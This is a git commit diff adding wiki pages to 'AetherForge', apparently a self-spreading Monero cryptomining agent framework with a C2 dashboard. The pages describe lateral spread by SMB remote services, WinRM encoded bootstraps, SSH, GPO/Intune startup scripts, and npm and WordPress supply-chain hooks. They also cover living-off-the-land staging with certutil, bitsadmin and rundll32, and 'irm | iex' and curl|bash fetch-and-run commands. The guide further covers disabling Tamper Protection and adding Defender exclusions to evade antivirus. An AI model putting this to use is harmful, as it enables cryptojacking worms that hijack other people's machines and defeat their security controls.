Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -26,9 +26,13 @@
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
<li><a href="#linux-lotl">Linux LOTL</a></li>
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#lotl-onion">LOTL Onion</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
@@ -54,9 +58,13 @@
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code><code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WinRM bootstrap -->
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
<h3>WinRM bootstrap — encoded registration</h3>
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
</ol>
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
</div>
<!-- Linux LOTL -->
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
<h3>Linux LOTL — systemd-run &amp; crontab</h3>
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
<h4>Prerequisites</h4>
<ul>
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
</ol>
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
</div>
<!-- GPO / Intune -->
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
<h3>GPO / Intune enterprise spread</h3>
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
<h4>Prerequisites</h4>
<ul>
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
<li>Reachable command deck URL from domain endpoints</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
</ol>
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- LOTL Onion -->
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
<h3>LOTL Onion — native-tool spread tier chain</h3>
<p>
<span class="wiki-status working">Working</span>
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
</p>
<h4>Default tier order (docker → GPO)</h4>
<p class="form-hint">
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
</p>
<table class="wiki-table">
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
<tbody>
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
</tbody>
</table>
<h4>Forge steps</h4>
<ol class="spread-steps">
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
</ol>
<a class="spread-deck-link" href="/forge">Open Forge →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>

View File

@@ -110,6 +110,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
---
## LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|-----------|---------|---------------------|
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc``sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
---
## Key References
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)

View File

@@ -42,6 +42,8 @@
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
<li><a href="#av-safe">AV-Safe Mining</a></li>
<li><a href="#container-mining">Container Mining</a></li>
<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security</a></li>
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<section id="av-safe">
<h2>AV-Safe Mining — Default Strategy</h2>
<p>
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
</p>
<h3>Why turning Defender "off" often does nothing</h3>
<ul>
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
</ul>
<h3>Windows operator checklist</h3>
<ol>
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
<li>Windows Security → Virus &amp; threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
</ol>
<h3>Honest limits</h3>
<p>
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
</p>
</section>
<section id="container-mining">
<h2>Container Mining — Optional Isolation</h2>
<p>
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
pure-Go RandomX (no external CPU miner binary).
</p>
<h3>Honest AV expectations</h3>
<ul>
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
</ul>
<h3>Forge options</h3>
<table class="wiki-table">
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
<tbody>
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
</tbody>
</table>
<h3>Operator setup</h3>
<ol>
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
</ol>
<h3>Architecture</h3>
<pre>
┌──────────────── Host (agent.exe) ────────────────┐
│ WebSocket C2 · commands · stats · GPU supervisor │
│ │ docker run │
│ ▼ │
│ ┌──────────── OCI container ────────────┐ │
│ │ agent-worker · RandomX · Stratum/C2 │ │
│ └───────────────────────────────────────┘ │
└──────────────────────────────────────────────────┘
</pre>
<h3>Mining fallback chain</h3>
<p>
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
</p>
<p>
When the container exits, the chain advances to in-process automatically.
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
container is healthy.
</p>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
</tbody>